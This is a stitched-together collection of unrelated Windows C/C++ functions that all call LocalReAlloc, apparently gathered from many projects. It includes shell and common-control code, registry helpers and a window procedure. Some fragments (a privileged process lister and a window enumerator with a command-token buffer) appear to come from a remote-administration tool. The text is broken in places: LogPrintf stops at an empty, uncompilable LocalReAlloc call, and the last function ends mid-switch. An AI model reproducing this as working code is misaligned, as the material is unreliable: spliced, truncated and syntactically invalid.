/*************************************************************************
* @ [SHLWAPI.21]
*
* Remove an item from a DataBlock list.
*
* PARAMS
* lppList [O] List to remove the item from
* ulId [I] Id of item to remove
*
* RETURNS
* Success: TRUE.
* Failure: FALSE, If any parameters are invalid, or the item was not found.
*
* NOTES
* See SHWriteDataBlockList.
*/
BOOL WINAPI SHRemoveDataBlock(LPSHLWAPI_CLIST* lppList, ULONG ulId)
{
LPSHLWAPI_CLIST lpList = 0;
LPSHLWAPI_CLIST lpItem = NULL;
LPSHLWAPI_CLIST lpNext;
ULONG ulNewSize;
TRACE("(%p,%ld)\n", lppList, ulId);
if(lppList && (lpList = *lppList))
{
/* Search for item in list */
while (lpList->ulSize)
{
if(lpList->ulId == ulId ||
(lpList->ulId == CLIST_ID_CONTAINER && lpList[1].ulId == ulId))
{
lpItem = lpList; /* Found */
break;
}
lpList = NextItem(lpList);
}
}
if(!lpItem)
return FALSE;
lpList = lpNext = NextItem(lpItem);
/* Locate the end of the list */
while (lpList->ulSize)
lpList = NextItem(lpList);
/* Resize the list */
ulNewSize = LocalSize((HLOCAL)*lppList) - lpItem->ulSize;
/* Copy following elements over lpItem */
memmove(lpItem, lpNext, (char *)lpList - (char *)lpNext + sizeof(ULONG));
if(ulNewSize <= sizeof(ULONG))
{
LocalFree((HLOCAL)*lppList);
*lppList = NULL; /* Removed the last element */
}
else
{
lpList = (LPSHLWAPI_CLIST)LocalReAlloc((HLOCAL)*lppList, ulNewSize,
LMEM_ZEROINIT|LMEM_MOVEABLE);
if(lpList)
*lppList = lpList;
}
return TRUE;
}
//----------------------------------------------------------------------------------------------
// SaveAs
//----------------------------------------------------------------------------------------------
VOID CSetting::SaveAs( WCHAR * SaveName )
{
// 現在のコントローラーの設定の順番を更新する
CurrentSettingIndex = SettingCount;
// コントローラーの設定数を更新する
SettingCount ++;
// コントローラーの設定を追加する
Setting = (SETTING *)LocalReAlloc(
Setting
,SettingCount * sizeof( SETTING )
,LMEM_MOVEABLE );
CopyMemory( &Setting[CurrentSettingIndex], &CurrentSetting, sizeof( SETTING ) );
// コントローラーの設定の名称を追加する
SettingName = (WCHAR * *)LocalReAlloc(
SettingName
,SettingCount * sizeof( WCHAR * )
,LMEM_MOVEABLE );
SettingName[CurrentSettingIndex] = (WCHAR *)LocalAlloc(
LPTR
,sizeof( WCHAR ) * MAX_PATH );
wcscpy_s( SettingName[CurrentSettingIndex], MAX_PATH, SaveName );
// 変更済みフラグを更新する
ModifiedFlag = FALSE;
}
//----------------------------------------------------------------------------------------------
// Delete
//----------------------------------------------------------------------------------------------
VOID CSetting::Delete()
{
// コントローラーの設定数を更新する
SettingCount --;
if( CurrentSettingIndex < SettingCount )
{
// コントローラーの設定、設定の名称を１つずつスライドする
MoveMemory(
&Setting[CurrentSettingIndex]
,&Setting[CurrentSettingIndex + 1]
,sizeof( SETTING ) * ( SettingCount - CurrentSettingIndex ) );
LocalFree( SettingName[CurrentSettingIndex] );
MoveMemory(
&SettingName[CurrentSettingIndex]
,&SettingName[CurrentSettingIndex + 1]
,sizeof( WCHAR * ) * ( SettingCount - CurrentSettingIndex ) );
} else {
// 現在のコントローラーの設定の順番を更新する
CurrentSettingIndex --;
}
// 現在のコントローラーの設定を更新する
CopyMemory( &CurrentSetting, &Setting[CurrentSettingIndex], sizeof( SETTING ) );
// 不要なメモリを開放する
Setting = (SETTING *)LocalReAlloc(
Setting
,SettingCount * sizeof( SETTING )
,LMEM_MOVEABLE );
SettingName = (WCHAR * *)LocalReAlloc(
SettingName
,SettingCount * sizeof( WCHAR * )
,LMEM_MOVEABLE );
// 変更済みフラグを更新する
ModifiedFlag = FALSE;
}
LPBYTE CSystemManager::getProcessList()
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
HMODULE hModules = NULL;
PROCESSENTRY32 pe32 = {0};
DWORD cbNeeded;
char strProcessName[MAX_PATH] = {0};
LPBYTE lpBuffer = NULL;
DWORD dwOffset = 0;
DWORD dwLength = 0;
DebugPrivilege(SE_DEBUG_NAME, TRUE);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
return NULL;
pe32.dwSize = sizeof(PROCESSENTRY32);
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = TOKEN_PSLIST;
dwOffset = 1;
if(Process32First(hSnapshot, &pe32))
{
do
{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4))
{
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
// 此进程占用数据大小
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
// 缓冲区太小，再重新分配下
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
dwOffset += sizeof(DWORD);
memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
dwOffset += lstrlen(pe32.szExeFile) + 1;
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
dwOffset += lstrlen(strProcessName) + 1;
}
}
while(Process32Next(hSnapshot, &pe32));
}
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
DebugPrivilege(SE_DEBUG_NAME, FALSE);
CloseHandle(hSnapshot);
return lpBuffer;
}
WAYPOINT* GrowWaypointList() {
// memory allocation
if (!AllocateWaypointList()) {
return 0;
}
if (((NumberOfWayPoints+1) % 50) == 0) {
WAYPOINT *p;
if ((p =
(WAYPOINT *)LocalReAlloc(WayPointList,
(((NumberOfWayPoints+1)/50)+1)
* 50 * sizeof(WAYPOINT),
LMEM_MOVEABLE | LMEM_ZEROINIT)) == NULL){
StartupStore(_T("+++ GrowWaypointList FAILED!%s"),NEWLINE);
MessageBoxX(hWndMainWindow,
// LKTOKEN _@M486_ = "Not Enough Memory For Waypoints"
gettext(TEXT("_@M486_")),
// LKTOKEN _@M266_ = "Error"
gettext(TEXT("_@M266_")),MB_OK|MB_ICONSTOP);
return 0; // failed to allocate
}
if (p != WayPointList){
WayPointList = p;
}
WPCALC *q;
if ((q =
(WPCALC *)LocalReAlloc(WayPointCalc,
(((NumberOfWayPoints+1)/50)+1)
* 50 * sizeof(WPCALC),
LMEM_MOVEABLE | LMEM_ZEROINIT)) == NULL){
StartupStore(_T("+++ GrowWaypointCalc FAILED!%s"),NEWLINE);
MessageBoxX(hWndMainWindow,
// LKTOKEN _@M486_ = "Not Enough Memory For Waypoints"
gettext(TEXT("_@M486_")),
// LKTOKEN _@M266_ = "Error"
gettext(TEXT("_@M266_")),MB_OK|MB_ICONSTOP);
return 0; // failed to allocate
}
if (q != WayPointCalc){
WayPointCalc = q;
}
}
NumberOfWayPoints++;
return WayPointList + NumberOfWayPoints-1;
// returns the newly created waypoint
}
/**************************************************************************
* ReAlloc [COMCTL32.72]
*
* Changes the size of an allocated memory block or allocates a memory
* block using the dll's private heap.
*
* PARAMS
* lpSrc [I] pointer to memory block which will be resized
* dwSize [I] new size of the memory block.
*
* RETURNS
* Success: pointer to the resized memory block
* Failure: NULL
*
* NOTES
* If lpSrc is a NULL-pointer, then ReAlloc allocates a memory
* block like Alloc.
*/
LPVOID WINAPI ReAlloc (LPVOID lpSrc, DWORD dwSize)
{
if (lpSrc)
return LocalReAlloc( lpSrc, dwSize, LMEM_ZEROINIT | LMEM_MOVEABLE );
else
return LocalAlloc( LMEM_ZEROINIT, dwSize);
}
HLOCAL WINAPI DebugLocalReAlloc(HLOCAL hMem, UINT uBytes, UINT uFlags)
{
_ValidateLocalMem(hMem, (LPARAM)hMem, "LocalReAlloc");
hMem = LocalReAlloc(hMem, uBytes+CBALLOCEXTRA, uFlags);
_StoreSigniture(hMem, uBytes, (LPARAM)hMem);
return hMem;
}
BOOL CTextEditor::AddCompositionRenderInfo(int nStart, int nEnd, TF_DISPLAYATTRIBUTE *pda)
{
if (_pCompositionRenderInfo)
{
void *pvNew = LocalReAlloc(_pCompositionRenderInfo,
(_nCompositionRenderInfo + 1) * sizeof(COMPOSITIONRENDERINFO),
LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!pvNew)
return FALSE;
_pCompositionRenderInfo = (COMPOSITIONRENDERINFO *)pvNew;
}
else
{
_pCompositionRenderInfo = (COMPOSITIONRENDERINFO *)LocalAlloc(LPTR,
(_nCompositionRenderInfo + 1) * sizeof(COMPOSITIONRENDERINFO));
if (!_pCompositionRenderInfo)
return FALSE;
}
_pCompositionRenderInfo[_nCompositionRenderInfo].nStart = nStart;
_pCompositionRenderInfo[_nCompositionRenderInfo].nEnd = nEnd;
_pCompositionRenderInfo[_nCompositionRenderInfo].da = *pda;
_nCompositionRenderInfo++;
return TRUE;
}
unsigned long NEAR PASCAL MyQueryValue(HKEY hKey, PSTR pSubKey, HANDLE *hBuf)
{
HANDLE hTemp;
PSTR pBuf;
WORD wBufSize = BLOCKLEN;
unsigned long result = ERROR_OUTOFMEMORY;
LONG lSize;
if(!(*hBuf=LocalAlloc(LMEM_MOVEABLE, wBufSize)))
goto Error1;
if(!(pBuf=LocalLock(*hBuf)))
goto Error2;
while((lSize=wBufSize, (result=RegQueryValue(hKey, pSubKey, pBuf, &lSize))
==ERROR_SUCCESS) && (WORD)lSize>wBufSize-10) {
LocalUnlock(*hBuf);
wBufSize += BLOCKLEN;
if(!(hTemp=LocalReAlloc(*hBuf, wBufSize, LMEM_MOVEABLE))) {
result = ERROR_OUTOFMEMORY;
goto Error2;
}
pBuf = LocalLock(*hBuf=hTemp);
}
LocalUnlock(*hBuf);
if(result!=ERROR_SUCCESS || !lSize)
goto Error2;
goto Error1;
Error2:
LocalFree(*hBuf);
*hBuf = NULL;
Error1:
return(result);
}
unsigned long NEAR PASCAL MyEnumKey(HKEY hKey, WORD wIndex, HANDLE *hBuf)
{
HANDLE hTemp;
PSTR pBuf;
WORD wBufSize = BLOCKLEN, wSize;
unsigned long result = ERROR_OUTOFMEMORY;
if(!(*hBuf=LocalAlloc(LMEM_MOVEABLE, wBufSize)))
goto Error1;
if(!(pBuf=LocalLock(*hBuf)))
goto Error2;
while((result=RegEnumKey(hKey, wIndex, pBuf, (DWORD)wBufSize))
==ERROR_SUCCESS && (wSize=lstrlen(pBuf))>wBufSize-10) {
LocalUnlock(*hBuf);
wBufSize += BLOCKLEN;
if(!(hTemp=LocalReAlloc(*hBuf, wBufSize, LMEM_MOVEABLE))) {
result = ERROR_OUTOFMEMORY;
goto Error2;
}
pBuf = LocalLock(*hBuf=hTemp);
}
LocalUnlock(*hBuf);
if(result!=ERROR_SUCCESS || !wSize)
goto Error2;
goto Error1;
Error2:
LocalFree(*hBuf);
*hBuf = NULL;
Error1:
return(result);
}
VOID _cdecl LogPrintf (char *format, ...)
{
va_list va;
char msg[512];
int MsgLen;
va_start (va, format);
MsgLen = _vsnprintf (msg, sizeof(msg), format, va);
for (char* sp = msg; *sp != 0; sp++)
{
if (sp[0] == '\n' && sp[-1] != '\r')
{
memmove (&sp[1], sp, strlen(sp)+1);
sp[0] = '\r';
}
}
MsgLen = strlen(msg);
if (gszLog == NULL)
{
LogSize = 20;
gszLog = (char*)LocalAlloc (LHND, LogSize);
}
if (LogLen + MsgLen + 1 > LogSize)
{
LogSize += 20;
gszLog = (char*)LocalReAlloc ()
}
BOOL BusyMask::AddNum(int num)
{
ULONG maskNum = num/(sizeof(*pBusyMask)*8);
if (maskNum >= busyMaskLen) {
SIZE_T newBusyMaskLen = maskNum + 1;
PBYTE pNewBusyMask;
if (!pBusyMask)
pNewBusyMask = (PBYTE)LocalAlloc(LPTR, newBusyMaskLen);
else
pNewBusyMask = (PBYTE)LocalReAlloc(pBusyMask, newBusyMaskLen, LMEM_ZEROINIT|LMEM_MOVEABLE);
if (pNewBusyMask) {
pBusyMask = pNewBusyMask;
busyMaskLen = newBusyMaskLen;
} else {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
return FALSE;
}
}
ULONG mask = 1 << (num%(sizeof(*pBusyMask)*8));
pBusyMask[maskNum] |= mask;
return TRUE;
}
bool CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE lpBuffer = *(LPBYTE *)lParam;
char strTitle[1024];
memset(strTitle, 0, sizeof(strTitle));
GetWindowText(hwnd, strTitle, sizeof(strTitle));
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
return true;
if (lpBuffer == NULL)
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
dwOffset = LocalSize(lpBuffer);
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
*(LPBYTE *)lParam = lpBuffer;
return true;
}
LPBYTE TinyMemoryStream::ReAlloc(ULONG cbNew)
{
if (this->m_pData == NULL)
{
this->m_pData = (LPBYTE)LocalAlloc(LPTR, cbNew);
}
else
{
LPBYTE ps = (LPBYTE)LocalReAlloc(this->m_pData, cbNew, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (ps)
{
this->m_pData = ps;
}
else
{
TRACE("Stream Realloc Failed!");
return NULL;
}
}
if (this->m_pData)
{
this->m_cbAlloc = cbNew;
}
return this->m_pData;
}
void kprintf(PCWCHAR format, ...)
{
#ifdef _WINDLL
int varBuf;
size_t tempSize;
#endif
va_list args;
va_start(args, format);
#ifndef _WINDLL
vwprintf(format, args);
fflush(stdout);
#else
if(outputBuffer)
{
varBuf = _vscwprintf(format, args);
if(varBuf > 0)
{
if((size_t) varBuf > (outputBufferElements - outputBufferElementsPosition - 1)) // NULL character
{
tempSize = (outputBufferElements + varBuf + 1) * 2; // * 2, just to be cool
if(outputBuffer = (wchar_t *) LocalReAlloc(outputBuffer, tempSize * sizeof(wchar_t), LMEM_MOVEABLE))
outputBufferElements = tempSize;
}
varBuf = vswprintf_s(outputBuffer + outputBufferElementsPosition, outputBufferElements - outputBufferElementsPosition, format, args);
if(varBuf > 0)
outputBufferElementsPosition += varBuf;
}
}
#endif
if(logfile)
vfwprintf(logfile, format, args);
va_end(args);
fflush(logfile);
}
static BOOL IsNewWindow(HWND hWnd)
{
BOOL isNewWindow=FALSE;
EnterCriticalSection(&g_cs);
if(!FindWindowIndex(hWnd,NULL))
{
if(g_numHWNDs==g_maxNumHWNDs)
{
if(g_maxNumHWNDs==0)
{
g_maxNumHWNDs=16;
g_pHWNDs=LocalAlloc(0,g_maxNumHWNDs*sizeof *g_pHWNDs);
}
else
{
g_maxNumHWNDs+=g_maxNumHWNDs/2;
g_pHWNDs=LocalReAlloc(g_pHWNDs,g_maxNumHWNDs*sizeof *g_pHWNDs,0);
}
}
g_pHWNDs[g_numHWNDs++]=hWnd;
}
LeaveCriticalSection(&g_cs);
return isNewWindow;
}
void near *lmem_realloc(
/**********************/
void *mem,
unsigned size
) {
#ifdef PLAT_OS2
return( realloc( mem, (size_t) size ) );
#else
HANDLE hld;
void near *ptr;
if( mem != NULL ) {
hld = _wpi_getlocalhdl( mem );
if( hld ) {
LocalUnlock( hld );
hld = LocalReAlloc( hld, size, LMEM_MOVEABLE );
if( hld ) {
ptr = LocalLock( hld );
return( ptr );
}
}
} else {
return( lmem_alloc( size ) );
}
return( NULL );
#endif
}
BOOL My_LocalReAlloc()
{
HLOCAL hMem=NULL;
SIZE_T uBytes=NULL;
UINT uFlags=NULL;
HLOCAL returnVal_Real = NULL;
HLOCAL returnVal_Intercepted = NULL;
DWORD error_Real = 0;
DWORD error_Intercepted = 0;
disableInterception();
returnVal_Real = LocalReAlloc (hMem,uBytes,uFlags);
error_Real = GetLastError();
enableInterception();
returnVal_Intercepted = LocalReAlloc (hMem,uBytes,uFlags);
error_Intercepted = GetLastError();
return ((returnVal_Real == returnVal_Intercepted) && (error_Real == error_Intercepted));
}
void *
LocalReAllocPtr(void * ptr, UINT flags, UINT size)
{
HLOCAL hlocal;
hlocal = LocalHandle(ptr);
LocalUnlock(hlocal);
hlocal = LocalReAlloc(hlocal, size+1, flags);
return (char *)LocalLock(hlocal);
}
LPVOID
ReallocSplMem(
LPVOID lpOldMem,
DWORD cbNew)
{
if (lpOldMem)
return LocalReAlloc(lpOldMem, cbNew, LMEM_MOVEABLE);
else
return AllocSplMem(cbNew);
}
/*************************************************************************
* @ [SHLWAPI.21]
*
* Remove an item from a DataBlock list.
*
* PARAMS
* lppList [O] List to remove the item from
* dwSignature [I] Id of item to remove
*
* RETURNS
* Success: TRUE.
* Failure: FALSE, If any parameters are invalid, or the item was not found.
*
* NOTES
* See SHWriteDataBlockList.
*/
BOOL WINAPI SHRemoveDataBlock(LPDBLIST* lppList, DWORD dwSignature)
{
LPDATABLOCK_HEADER lpList = 0;
LPDATABLOCK_HEADER lpItem = NULL;
LPDATABLOCK_HEADER lpNext;
ULONG ulNewSize;
TRACE("(%p,%d)\n", lppList, dwSignature);
if(lppList && (lpList = *lppList))
{
/* Search for item in list */
while (lpList->cbSize)
{
if(lpList->dwSignature == dwSignature ||
(lpList->dwSignature == CLIST_ID_CONTAINER && lpList[1].dwSignature == dwSignature))
{
lpItem = lpList; /* Found */
break;
}
lpList = NextItem(lpList);
}
}
if(!lpItem)
return FALSE;
lpList = lpNext = NextItem(lpItem);
/* Locate the end of the list */
while (lpList->cbSize)
lpList = NextItem(lpList);
/* Resize the list */
ulNewSize = LocalSize(*lppList) - lpItem->cbSize;
/* Copy following elements over lpItem */
memmove(lpItem, lpNext, (char *)lpList - (char *)lpNext + sizeof(ULONG));
if(ulNewSize <= sizeof(ULONG))
{
LocalFree(*lppList);
*lppList = NULL; /* Removed the last element */
}
else
{
lpList = LocalReAlloc(*lppList, ulNewSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
if(lpList)
*lppList = lpList;
}
return TRUE;
}
HLOCAL WINAPI SHLocalReAlloc(HLOCAL hOld, UINT cbNew, UINT uFlags)
{
HLOCAL hNew;
int cbAllocOld, cbAllocNew;
cbAllocOld = LocalSize(hOld);
hNew = LocalReAlloc(hOld, cbNew, uFlags);
cbAllocNew = LocalSize(hNew);
g_cbAlloced += (cbAllocNew-cbAllocOld);
g_dwReallocs++;
DebugMsg(g_fAllocMsgs, TEXT("SHLocalRealloc: %#08x %#08x \t%d"), hNew, hOld, cbAllocNew);
return hNew;
}
/* resize the old table */
static int SetSpyedBlockTableLength ( DWORD NewLength )
{
LPVOID *NewSpyedBlocks;
if (!Malloc32.SpyedBlocks) NewSpyedBlocks = LocalAlloc(LMEM_ZEROINIT, NewLength * sizeof(PVOID));
else NewSpyedBlocks = LocalReAlloc(Malloc32.SpyedBlocks, NewLength * sizeof(PVOID), LMEM_ZEROINIT);
if (NewSpyedBlocks) {
Malloc32.SpyedBlocks = NewSpyedBlocks;
Malloc32.SpyedBlockTableLength = NewLength;
}
return NewSpyedBlocks != NULL;
}
VOID *MyRealloc(
VOID *npMem,
INT cbNewAlloc)
{
npMem = (VOID *)LocalReAlloc((HANDLE)npMem, cbNewAlloc, LMEM_MOVEABLE);
if (!npMem) {
MessageBeep(0);
Message(MSG_OUTOFMEMORY);
return NULL;
}
return npMem;
}
/****************************************************************************
* *
* FUNCTION : GetFormatName() *
* *
* PURPOSE : allocates and returns a pointer to a string representing *
* a format. Use MyFree() to free this string. *
* *
* RETURNS : The number of characters copied into lpstr or 0 on error. *
* *
****************************************************************************/
PSTR GetFormatName(
WORD wFmt)
{
PSTR psz;
WORD cb;
if (wFmt == 1) {
psz = MyAlloc(8);
strcpy(psz, "CF_TEXT");
return psz;
}
psz = MyAlloc(255);
*psz = '\0';
cb = GetClipboardFormatName(wFmt, psz, 255) + 1;
return((PSTR)LocalReAlloc((HANDLE)psz, cb, LMEM_MOVEABLE));
}
static BOOL GRPFILE_ReadFileToBuffer(LPCSTR path, HLOCAL *phBuffer,
INT *piSize)
{
UINT len, size;
LPSTR buffer;
HLOCAL hBuffer, hNewBuffer;
HFILE file;
file=_lopen(path, OF_READ);
if (file == HFILE_ERROR) return FALSE;
size = 0;
hBuffer = LocalAlloc(LMEM_FIXED, MALLOCHUNK + 1);
if (!hBuffer) return FALSE;
buffer = LocalLock(hBuffer);
while ((len = _lread(file, buffer + size, MALLOCHUNK))
== MALLOCHUNK)
{
size += len;
hNewBuffer = LocalReAlloc(hBuffer, size + MALLOCHUNK + 1,
LMEM_FIXED);
if (!hNewBuffer)
{
LocalFree(hBuffer);
return FALSE;
}
hBuffer = hNewBuffer;
buffer = LocalLock(hBuffer);
}
_lclose(file);
if (len == (UINT)HFILE_ERROR)
{
LocalFree(hBuffer);
return FALSE;
}
size += len;
buffer[size] = 0;
*phBuffer = hBuffer;
*piSize = size;
return TRUE;
}
bool My_LocalReAlloc(HLOCAL ret, DWORD error)
{
HLOCAL dwRet = 0;
////
dwRet = LocalReAlloc(GENERIC_HANDLE, INT_VAL, INT_VAL);
if (dwRet != ret)
goto FAILED;
if (!checkErrorCode(error))
goto FAILED;
uninterceptedPrint("LocalReAlloc PASSED!\n");
return TRUE;
FAILED:
uninterceptedPrint("LocalReAlloc FAILED!\n");
return FALSE;
}
BYTE* CCaptureVideo::EnumCompress()
{
CVideoCodec cVideo;
int fccHandler;
char strName[MAX_PATH];
LPBYTE lpBuffer=NULL;
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
int iCount=0;//共有多上个压缩设备
while(cVideo.MyEnumCodecs(&fccHandler, strName))
{
iCount++;
DWORD dwOffset = LocalSize(lpBuffer);
int iMsgSize=strlen(strName)+sizeof(DWORD)+1; //一个表达压缩设备所用的大小
//开辟新的内存储存数据
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset +iMsgSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
memcpy(lpBuffer+dwOffset,&fccHandler,sizeof(DWORD)); //压缩的编码
strcpy((char*)(lpBuffer+dwOffset+sizeof(DWORD)),strName);
}
lpBuffer[0]=iCount;
return lpBuffer;
}
// UpDownWndProc:
//
LRESULT CALLBACK UpDownWndProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
RECT rc;
int i;
PUDSTATE np = (PUDSTATE)GetWindowInt(hwnd, 0);
if (np) {
if ((uMsg >= WM_MOUSEFIRST) && (uMsg <= WM_MOUSELAST) &&
(np->ci.style & UDS_HOTTRACK) && !np->fTrackSet) {
TRACKMOUSEEVENT tme;
np->fTrackSet = TRUE;
tme.cbSize = sizeof(tme);
tme.hwndTrack = np->ci.hwnd;
tme.dwFlags = TME_LEAVE;
TrackMouseEvent(&tme);
}
}
switch (uMsg)
{
case WM_MOUSEMOVE:
UD_OnMouseMove(np, lParam);
break;
case WM_MOUSELEAVE:
np->fTrackSet = FALSE;
UD_Invalidate(np, np->uHot, FALSE);
np->uHot = UD_HITNOWHERE;
break;
case WM_LBUTTONDOWN:
{
// Don't set a timer if on the middle border
BOOL bTimeIt = TRUE;
if (np->hwndBuddy && !IsWindowEnabled(np->hwndBuddy))
break;
SetCapture(hwnd);
getint(np);
switch (np->uClass)
{
case CLASS_EDIT:
case CLASS_LISTBOX:
SetFocus(np->hwndBuddy);
break;
}
switch(UD_HitTest(np, GET_X_LPARAM(lParam), GET_Y_LPARAM(lParam))) {
case UD_HITDOWN:
np->bDown = TRUE;
squish(np, FALSE, TRUE);
break;
case UD_HITUP:
np->bDown = FALSE;
squish(np, TRUE, FALSE);
break;
case UD_HITNOWHERE:
bTimeIt = FALSE;
break;
}
if (bTimeIt)
{
SetTimer(hwnd, 1, GetProfileInt(TEXT("windows"), TEXT("CursorBlinkRate"), 530), NULL);
bump(np);
}
break;
}
case WM_TIMER:
{
POINT pt;
if (GetCapture() != hwnd)
{
goto EndScroll;
}
SetTimer(hwnd, 1, 100, NULL);
GetWindowRect(hwnd, &rc);
if (np->ci.style & UDS_HORZ) {
i = (rc.left + rc.right) / 2;
if (np->bDown)
{
rc.right = i;
}
else
{
rc.left = i;
}
} else {
i = (rc.top + rc.bottom) / 2;
if (np->bDown)
{
rc.top = i;
}
else
{
rc.bottom = i;
}
}
InflateRect(&rc, (g_cxFrame+1)/2, (g_cyFrame+1)/2);
GetCursorPos(&pt);
if (PtInRect(&rc, pt))
{
squish(np, !np->bDown, np->bDown);
bump(np);
}
else
{
squish(np, FALSE, FALSE);
}
break;
}
case WM_LBUTTONUP:
if (np->hwndBuddy && !IsWindowEnabled(np->hwndBuddy))
break;
if (GetCapture() == hwnd)
{
EndScroll:
squish(np, FALSE, FALSE);
ReleaseCapture();
KillTimer(hwnd, 1);
if (np->uClass == CLASS_EDIT)
Edit_SetSel(np->hwndBuddy, 0, -1);
if (np->ci.style & UDS_HORZ)
FORWARD_WM_HSCROLL(np->ci.hwndParent, np->ci.hwnd,
SB_ENDSCROLL, np->nPos, SendMessage);
else
FORWARD_WM_VSCROLL(np->ci.hwndParent, np->ci.hwnd,
SB_ENDSCROLL, np->nPos, SendMessage);
}
break;
case WM_ENABLE:
InvalidateRect(hwnd, NULL, TRUE);
break;
case WM_WININICHANGE:
if (np && (!wParam ||
(wParam == SPI_SETNONCLIENTMETRICS) ||
(wParam == SPI_SETICONTITLELOGFONT))) {
InitGlobalMetrics(wParam);
unachor(np);
anchor(np);
}
break;
case WM_PRINTCLIENT:
case WM_PAINT:
PaintUpDownControl(np, (HDC)wParam);
break;
case UDM_SETRANGE:
np->nUpper = GET_X_LPARAM(lParam);
np->nLower = GET_Y_LPARAM(lParam);
nudge(np);
break;
case UDM_GETRANGE:
return MAKELONG(np->nUpper, np->nLower);
case UDM_SETBASE:
// wParam: new base
// lParam: not used
// return: 0 if invalid base is specified,
// previous base otherwise
return (LRESULT)setbase(np, (UINT)wParam);
case UDM_GETBASE:
return np->nBase;
case UDM_SETPOS:
{
int iNewPos = GET_X_LPARAM(lParam);
if (compare(np, np->nLower, np->nUpper, DONTCARE) < 0) {
if (compare(np, iNewPos, np->nUpper, DONTCARE) > 0) {
iNewPos = np->nUpper;
}
if (compare(np, iNewPos, np->nLower, DONTCARE) < 0) {
iNewPos = np->nLower;
}
} else {
if (compare(np, iNewPos, np->nUpper, DONTCARE) < 0) {
iNewPos = np->nUpper;
}
if (compare(np, iNewPos, np->nLower, DONTCARE) > 0) {
iNewPos = np->nLower;
}
}
i = np->nPos;
np->nPos = iNewPos;
setint(np);
#ifdef ACTIVE_ACCESSIBILITY
MyNotifyWinEvent(EVENT_OBJECT_VALUECHANGE, np->ci.hwnd, OBJID_CLIENT, 0);
#endif
return (LRESULT)i;
}
case UDM_GETPOS:
return getint(np);
case UDM_SETBUDDY:
return setbuddy(np, (HWND)wParam);
case UDM_GETBUDDY:
return (LRESULT)(int)np->hwndBuddy;
case UDM_SETACCEL:
if (wParam == 0)
return(FALSE);
if (wParam >= NUM_UDACCELS)
{
HANDLE npPrev = (HANDLE)np;
np = (PUDSTATE)LocalReAlloc((HLOCAL)np, sizeof(UDSTATE)+(wParam-NUM_UDACCELS)*sizeof(UDACCEL),
LMEM_MOVEABLE);
if (!np)
{
return(FALSE);
}
else
{
SetWindowInt(hwnd, 0, (int)np);
if ((np->ci.style & UDS_ARROWKEYS) && np->hwndBuddy)
{
SetWindowSubclass(np->hwndBuddy, ArrowKeyProc, 0,
(DWORD)np);
}
}
}
np->nAccel = wParam;
for (i=0; i<(int)wParam; ++i)
{
np->udAccel[i] = ((LPUDACCEL)lParam)[i];
}
return(TRUE);
case UDM_GETACCEL:
if (wParam > np->nAccel)
{
wParam = np->nAccel;
}
for (i=0; i<(int)wParam; ++i)
{
((LPUDACCEL)lParam)[i] = np->udAccel[i];
}
return(np->nAccel);
case WM_NOTIFYFORMAT:
return CIHandleNotifyFormat(&np->ci, lParam);
case WM_CREATE:
// Allocate the instance data space.
np = (PUDSTATE)LocalAlloc(LPTR, sizeof(UDSTATE));
if (!np)
return -1;
SetWindowInt(hwnd, 0, (int)np);
#define lpCreate ((CREATESTRUCT FAR *)lParam)
CIInitialize(&np->ci, hwnd, lpCreate);
// np->fUp =
// np->fDown =
// np->fUnsigned =
// np->fSharedBorder =
// np->fSunkenBorder =
// FALSE;
if (lpCreate->dwExStyle & WS_EX_CLIENTEDGE)
np->fSunkenBorder = TRUE;
np->nBase = BASE_DECIMAL;
np->nUpper = 0;
np->nLower = 100;
np->nPos = 0;
np->hwndBuddy = NULL;
np->uClass = CLASS_UNKNOWN;
np->nAccel = NUM_UDACCELS;
np->udAccel[0].nSec = 0;
np->udAccel[0].nInc = 1;
np->udAccel[1].nSec = 2;
np->udAccel[1].nInc = 5;
np->udAccel[2].nSec = 5;
np->udAccel[2].nInc = 20;
/* This does the pickbuddy and anchor
*/
setbuddy(np, NULL);
setint(np);
break;
case WM_DESTROY:
if (np) {
if (np->hwndBuddy)
{
// Make sure that our buddy is unsubclassed.
DebugMsg(DM_ERROR, TEXT("UpDown Destroyed while buddy subclassed"));
np->fUpDownDestroyed = TRUE;
}
else
LocalFree((HLOCAL)np);
SetWindowInt(hwnd, 0, 0);
}
break;
default:
